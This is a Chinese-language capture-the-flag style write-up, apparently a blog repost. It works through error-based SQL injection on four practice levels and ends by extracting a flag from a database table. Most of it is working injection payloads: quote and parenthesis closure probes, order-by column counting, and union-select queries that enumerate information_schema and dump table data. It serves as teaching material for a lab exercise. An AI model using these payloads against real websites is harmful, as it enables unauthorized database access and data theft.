SQL注入的本質:就是將用戶輸入的資料當作代碼帶入執行,
注入條件:
1.用戶能控制輸入
2.能夠將程式原本執行的代碼,拼接上用戶輸入的資料進行執行
首先檢查是否存在注入點
Rank1:
構造陳述句 ?id=1 and 1=1 沒有報錯

?id=1 and 1=2 也沒有顯示錯誤,檢查是否被過濾了

?id=1' and 1=1 出現錯誤,說明這里被單引號過濾掉了

?id=1' and 1=1 --+ 回顯正確 存在注入

Rank2:
?id=1 and 1=1 回顯正確

?id=1 and 1=2 回顯錯誤,判斷存在注入

Rank3:
構造:?id=1 and 1=1 回顯正確

?id=1 and 1=2 回顯正確

?id=1' and 1=1 --+ 閉合引號回顯錯誤,表示出現其他閉合

?id=1')and 1=1 --+ 嘗試閉合括號進行繞過,回顯正確,存在注入

Rank4:
構造陳述句:?id=1 and 1=1 回顯正確

?id=1 and 1=2 回顯正確,判斷存在過濾

?id=1'and 1=1 --+ 判斷是否存在'閉合 回顯正確

?id=1'and 1=2 --+ 回顯正確 表示未出現'閉合

?id=1)and 1=1--+ 判斷是否存在括號閉合 回顯正確

?id=1)and 1=2--+ 依然回顯正確

?id=1" and 1 = 1 --+再試一下是否存在"閉合,回顯錯誤,證明存在"閉合

?id=1") and 1 = 1 --+ 嘗試和)一起判斷過濾,回顯正確,存在注入

脫庫
由于Rank1-Rank4 都是顯錯注入,除了過濾之外的步驟都相同,就以Rank1進行脫庫步驟
判斷當前表的欄位數:
?id=1' order by 5 --+ 判斷欄位數及回顯點,顯示錯誤,說明欄位小于5

最后判斷欄位數為3 :
?id=1' order by 3 --+

使用聯合查詢判斷顯示位置
?id=0'union select 1,2,3 --+

這里選擇2和3構建子查詢都可
查詢資料庫名:
?id=0'union select 1,database(),3 --+

查詢表名:
?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

查找表中的欄位:
因為是找flag,就查找我們覺得最有可能存在的表
?id=0'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'zkaq'),3 --+

存在flag
構建查資料的陳述句:
?id=0'union select 1,(select group_concat(flag,zKaQ) from security.zkaq),3 --+

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/53232.html
標籤:其他
上一篇:Natas25-writeup
